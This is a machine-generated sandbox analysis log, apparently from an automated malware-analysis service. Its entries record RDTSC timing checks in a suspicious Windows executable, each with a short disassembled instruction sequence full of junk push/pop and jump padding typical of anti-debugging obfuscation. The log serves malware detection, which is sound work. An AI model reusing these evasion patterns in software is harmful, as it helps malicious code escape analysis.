Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 6589FC second address: 658A13 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007FA948C4CB26h 0x00000009 jmp 00007FA948C4CB2Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 577DA4 second address: 577DB6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA948B16F7Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 577DB6 second address: 577DBB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 4D404EC second address: 4D404F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov eax, 69B3D1D9h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 4D404F6 second address: 4D404FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 4D404FC second address: 4D40500 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 4D40500 second address: 4D40534 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007FA948C4CB2Dh 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FA948C4CB38h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 4D40534 second address: 4D40543 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA948B16F7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 4D40543 second address: 4D4058D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA948C4CB39h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edx, dword ptr [ebp+0Ch] 0x0000000c jmp 00007FA948C4CB2Eh 0x00000011 mov ecx, dword ptr [ebp+08h] 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FA948C4CB37h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 4D60694 second address: 4D606B9 instructions: 0x00000000 rdtsc 0x00000002 mov cl, dh 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FA948B16F89h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 4D606B9 second address: 4D606BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 4D606BF second address: 4D6073F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA948B16F7Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FA948B16F80h 0x0000000f mov ebp, esp 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007FA948B16F7Eh 0x00000018 add eax, 4498FAD8h 0x0000001e jmp 00007FA948B16F7Bh 0x00000023 popfd 0x00000024 mov ebx, eax 0x00000026 popad 0x00000027 xchg eax, ecx 0x00000028 jmp 00007FA948B16F82h 0x0000002d push eax 0x0000002e pushad 0x0000002f call 00007FA948B16F81h 0x00000034 mov ebx, ecx 0x00000036 pop esi 0x00000037 call 00007FA948B16F7Dh 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 4D6073F second address: 4D607BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 xchg eax, ecx 0x00000007 jmp 00007FA948C4CB2Dh 0x0000000c xchg eax, esi 0x0000000d pushad 0x0000000e mov ecx, 5F2EF4E3h 0x00000013 pushfd 0x00000014 jmp 00007FA948C4CB38h 0x00000019 sub eax, 58224128h 0x0000001f jmp 00007FA948C4CB2Bh 0x00000024 popfd 0x00000025 popad 0x00000026 push eax 0x00000027 pushad 0x00000028 mov bx, BFCAh 0x0000002c movsx ebx, ax 0x0000002f popad 0x00000030 xchg eax, esi 0x00000031 pushad 0x00000032 pushfd 0x00000033 jmp 00007FA948C4CB38h 0x00000038 or ah, FFFFFFB8h 0x0000003b jmp 00007FA948C4CB2Bh 0x00000040 popfd 0x00000041 push ecx 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 4D607BD second address: 4D607D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 lea eax, dword ptr [ebp-04h] 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FA948B16F7Ah 0x00000012 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 4D607D4 second address: 4D607DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 4D607DA second address: 4D60806 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA948B16F7Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FA948B16F87h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 4D60806 second address: 4D6080C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 4D60902 second address: 4D60907 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 4D60907 second address: 4D6090D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 4D6090D second address: 4D50142 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pop esi 0x00000008 jmp 00007FA948B16F89h 0x0000000d leave 0x0000000e jmp 00007FA948B16F7Eh 0x00000013 retn 0004h 0x00000016 nop 0x00000017 sub esp, 04h 0x0000001a xor ebx, ebx 0x0000001c cmp eax, 00000000h 0x0000001f je 00007FA948B170DAh 0x00000025 mov dword ptr [esp], 0000000Dh 0x0000002c call 00007FA94D4C323Ah 0x00000031 mov edi, edi 0x00000033 jmp 00007FA948B16F80h 0x00000038 xchg eax, ebp 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d pushad 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 4D50142 second address: 4D5015F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA948C4CB39h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 4D5015F second address: 4D5016F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA948B16F7Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 4D5016F second address: 4D501BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b movsx edx, ax 0x0000000e popad 0x0000000f popad 0x00000010 xchg eax, ebp 0x00000011 jmp 00007FA948C4CB37h 0x00000016 mov ebp, esp 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b mov dh, 2Fh 0x0000001d pushfd 0x0000001e jmp 00007FA948C4CB2Ch 0x00000023 sbb ax, 1458h 0x00000028 jmp 00007FA948C4CB2Bh 0x0000002d popfd 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 4D501BD second address: 4D501E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA948B16F89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub esp, 2Ch 0x0000000c pushad 0x0000000d mov si, 2493h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 4D501E6 second address: 4D50265 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebx 0x00000008 pushad 0x00000009 mov ax, 5883h 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007FA948C4CB36h 0x00000014 sub cx, B848h 0x00000019 jmp 00007FA948C4CB2Bh 0x0000001e popfd 0x0000001f mov cx, D3BFh 0x00000023 popad 0x00000024 popad 0x00000025 push eax 0x00000026 pushad 0x00000027 pushad 0x00000028 pushfd 0x00000029 jmp 00007FA948C4CB31h 0x0000002e and eax, 3198F566h 0x00000034 jmp 00007FA948C4CB31h 0x00000039 popfd 0x0000003a mov edx, ecx 0x0000003c popad 0x0000003d jmp 00007FA948C4CB2Ch 0x00000042 popad 0x00000043 xchg eax, ebx 0x00000044 pushad 0x00000045 push eax 0x00000046 push edx 0x00000047 mov edx, eax 0x00000049 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 4D50265 second address: 4D502B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FA948B16F7Fh 0x0000000a xor esi, 04490D4Eh 0x00000010 jmp 00007FA948B16F89h 0x00000015 popfd 0x00000016 popad 0x00000017 xchg eax, edi 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FA948B16F88h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 4D502B7 second address: 4D502BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 4D502BB second address: 4D502C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 4D502C1 second address: 4D50337 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA948C4CB2Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FA948C4CB2Bh 0x0000000f xchg eax, edi 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007FA948C4CB2Bh 0x00000019 or esi, 1CE0556Eh 0x0000001f jmp 00007FA948C4CB39h 0x00000024 popfd 0x00000025 pushfd 0x00000026 jmp 00007FA948C4CB30h 0x0000002b jmp 00007FA948C4CB35h 0x00000030 popfd 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 4D50399 second address: 4D503AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA948B16F7Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 4D503AB second address: 4D503AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 4D503AF second address: 4D50405 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edi, 00000000h 0x0000000d jmp 00007FA948B16F7Ch 0x00000012 inc ebx 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007FA948B16F7Eh 0x0000001a sbb ah, FFFFFF98h 0x0000001d jmp 00007FA948B16F7Bh 0x00000022 popfd 0x00000023 mov bl, ah 0x00000025 popad 0x00000026 test al, al 0x00000028 pushad 0x00000029 mov dx, D574h 0x0000002d mov edi, 298BD4E0h 0x00000032 popad 0x00000033 je 00007FA948B17153h 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c mov ch, 22h 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 4D50405 second address: 4D5040A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 4D5040A second address: 4D50410 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 4D50410 second address: 4D50414 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 4D504BF second address: 4D504EC instructions: 0x00000000 rdtsc 0x00000002 movzx esi, dx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 jg 00007FA9B9864F3Bh 0x0000000e jmp 00007FA948B16F83h 0x00000013 js 00007FA948B1706Bh 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c movzx ecx, di 0x0000001f rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 4D504EC second address: 4D50610 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FA948C4CB37h 0x00000008 or ecx, 70453BFEh 0x0000000e jmp 00007FA948C4CB39h 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 mov ebx, esi 0x00000018 popad 0x00000019 cmp dword ptr [ebp-14h], edi 0x0000001c pushad 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007FA948C4CB36h 0x00000024 adc si, 8A28h 0x00000029 jmp 00007FA948C4CB2Bh 0x0000002e popfd 0x0000002f pushfd 0x00000030 jmp 00007FA948C4CB38h 0x00000035 adc esi, 0C4B3C88h 0x0000003b jmp 00007FA948C4CB2Bh 0x00000040 popfd 0x00000041 popad 0x00000042 popad 0x00000043 jne 00007FA9B999AA3Ch 0x00000049 pushad 0x0000004a pushfd 0x0000004b jmp 00007FA948C4CB2Bh 0x00000050 and eax, 547D78CEh 0x00000056 jmp 00007FA948C4CB39h 0x0000005b popfd 0x0000005c pushfd 0x0000005d jmp 00007FA948C4CB30h 0x00000062 sbb ax, B148h 0x00000067 jmp 00007FA948C4CB2Bh 0x0000006c popfd 0x0000006d popad 0x0000006e mov ebx, dword ptr [ebp+08h] 0x00000071 jmp 00007FA948C4CB36h 0x00000076 lea eax, dword ptr [ebp-2Ch] 0x00000079 push eax 0x0000007a push edx 0x0000007b jmp 00007FA948C4CB37h 0x00000080 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 4D50610 second address: 4D506E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA948B16F89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007FA948B16F7Eh 0x0000000f push eax 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FA948B16F81h 0x00000017 xor ch, FFFFFFD6h 0x0000001a jmp 00007FA948B16F81h 0x0000001f popfd 0x00000020 mov esi, 684CB747h 0x00000025 popad 0x00000026 xchg eax, esi 0x00000027 pushad 0x00000028 push ecx 0x00000029 pushfd 0x0000002a jmp 00007FA948B16F7Fh 0x0000002f add ecx, 611E390Eh 0x00000035 jmp 00007FA948B16F89h 0x0000003a popfd 0x0000003b pop ecx 0x0000003c pushad 0x0000003d pushfd 0x0000003e jmp 00007FA948B16F87h 0x00000043 add cx, 371Eh 0x00000048 jmp 00007FA948B16F89h 0x0000004d popfd 0x0000004e popad 0x0000004f popad 0x00000050 push esp 0x00000051 push eax 0x00000052 push edx 0x00000053 push eax 0x00000054 push edx 0x00000055 pushad 0x00000056 popad 0x00000057 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 4D506E0 second address: 4D506EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA948C4CB2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 4D506EF second address: 4D5072F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 0D79223Ah 0x00000008 jmp 00007FA948B16F7Bh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], eax 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 pushfd 0x00000017 jmp 00007FA948B16F82h 0x0000001c or cx, 46A8h 0x00000021 jmp 00007FA948B16F7Bh 0x00000026 popfd 0x00000027 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 4D50098 second address: 4D5009E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 4D5009E second address: 4D500A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 4D500A4 second address: 4D500A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 4D500A8 second address: 4D500AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 4D500AC second address: 4D500C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ecx 0x00000009 pushad 0x0000000a popad 0x0000000b mov dword ptr [ebp-04h], 55534552h 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 4D500C4 second address: 4D500C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 4D500C8 second address: 4D500CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 4D500CC second address: 4D500D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 4D50B96 second address: 4D50BA5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA948C4CB2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 4D50BA5 second address: 4D50BD1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, 132Ah 0x00000007 jmp 00007FA948B16F7Bh 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FA948B16F84h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 4D50BD1 second address: 4D50BFF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA948C4CB2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FA948C4CB36h 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 4D50BFF second address: 4D50C03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 4D50C03 second address: 4D50C07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 4D50C07 second address: 4D50C0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 4D50CC1 second address: 4D50D15 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA948C4CB31h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call 00007FA9B99919C2h 0x0000000e push 75A92B70h 0x00000013 push dword ptr fs:[00000000h] 0x0000001a mov eax, dword ptr [esp+10h] 0x0000001e mov dword ptr [esp+10h], ebp 0x00000022 lea ebp, dword ptr [esp+10h] 0x00000026 sub esp, eax 0x00000028 push ebx 0x00000029 push esi 0x0000002a push edi 0x0000002b mov eax, dword ptr [75AF4538h] 0x00000030 xor dword ptr [ebp-04h], eax 0x00000033 xor eax, ebp 0x00000035 push eax 0x00000036 mov dword ptr [ebp-18h], esp 0x00000039 push dword ptr [ebp-08h] 0x0000003c mov eax, dword ptr [ebp-04h] 0x0000003f mov dword ptr [ebp-04h], FFFFFFFEh 0x00000046 mov dword ptr [ebp-08h], eax 0x00000049 lea eax, dword ptr [ebp-10h] 0x0000004c mov dword ptr fs:[00000000h], eax 0x00000052 ret 0x00000053 pushad 0x00000054 pushfd 0x00000055 jmp 00007FA948C4CB2Ch 0x0000005a xor esi, 67A52E88h 0x00000060 jmp 00007FA948C4CB2Bh 0x00000065 popfd 0x00000066 mov bx, ax 0x00000069 popad 0x0000006a sub esi, esi 0x0000006c jmp 00007FA948C4CB2Bh 0x00000071 mov dword ptr [ebp-1Ch], esi 0x00000074 push eax 0x00000075 push edx 0x00000076 push eax 0x00000077 push edx 0x00000078 pushad 0x00000079 popad 0x0000007a rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 4D50D15 second address: 4D50D19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 4D50D19 second address: 4D50D1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 4D50D1F second address: 4D50D3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA948B16F89h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 4D60950 second address: 4D60956 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 4D60956 second address: 4D60999 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dh, al 0x00000005 movsx ebx, si 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d mov eax, 1ADC88DDh 0x00000012 mov si, D5D9h 0x00000016 popad 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b mov ch, 96h 0x0000001d pushfd 0x0000001e jmp 00007FA948B16F7Dh 0x00000023 or ax, B326h 0x00000028 jmp 00007FA948B16F81h 0x0000002d popfd 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 4D60999 second address: 4D609DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov bx, 4FB0h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebp 0x0000000d pushad 0x0000000e mov dl, 64h 0x00000010 mov al, DAh 0x00000012 popad 0x00000013 mov ebp, esp 0x00000015 jmp 00007FA948C4CB39h 0x0000001a xchg eax, esi 0x0000001b jmp 00007FA948C4CB2Eh 0x00000020 push eax 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 4D609DD second address: 4D609E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 4D609E1 second address: 4D609E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 4D609E7 second address: 4D60A12 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA948B16F7Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FA948B16F85h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 4D60A12 second address: 4D60A3D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop ecx 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, dword ptr [ebp+0Ch] 0x0000000b jmp 00007FA948C4CB34h 0x00000010 test esi, esi 0x00000012 pushad 0x00000013 mov bh, cl 0x00000015 push eax 0x00000016 push edx 0x00000017 mov edi, 6F81808Ch 0x0000001c rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 4D60A3D second address: 4D60A7D instructions: 0x00000000 rdtsc 0x00000002 mov dx, 1978h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 je 00007FA9B98448E7h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007FA948B16F88h 0x00000018 sub ecx, 3FD1B3D8h 0x0000001e jmp 00007FA948B16F7Bh 0x00000023 popfd 0x00000024 mov dh, al 0x00000026 popad 0x00000027 rdtsc
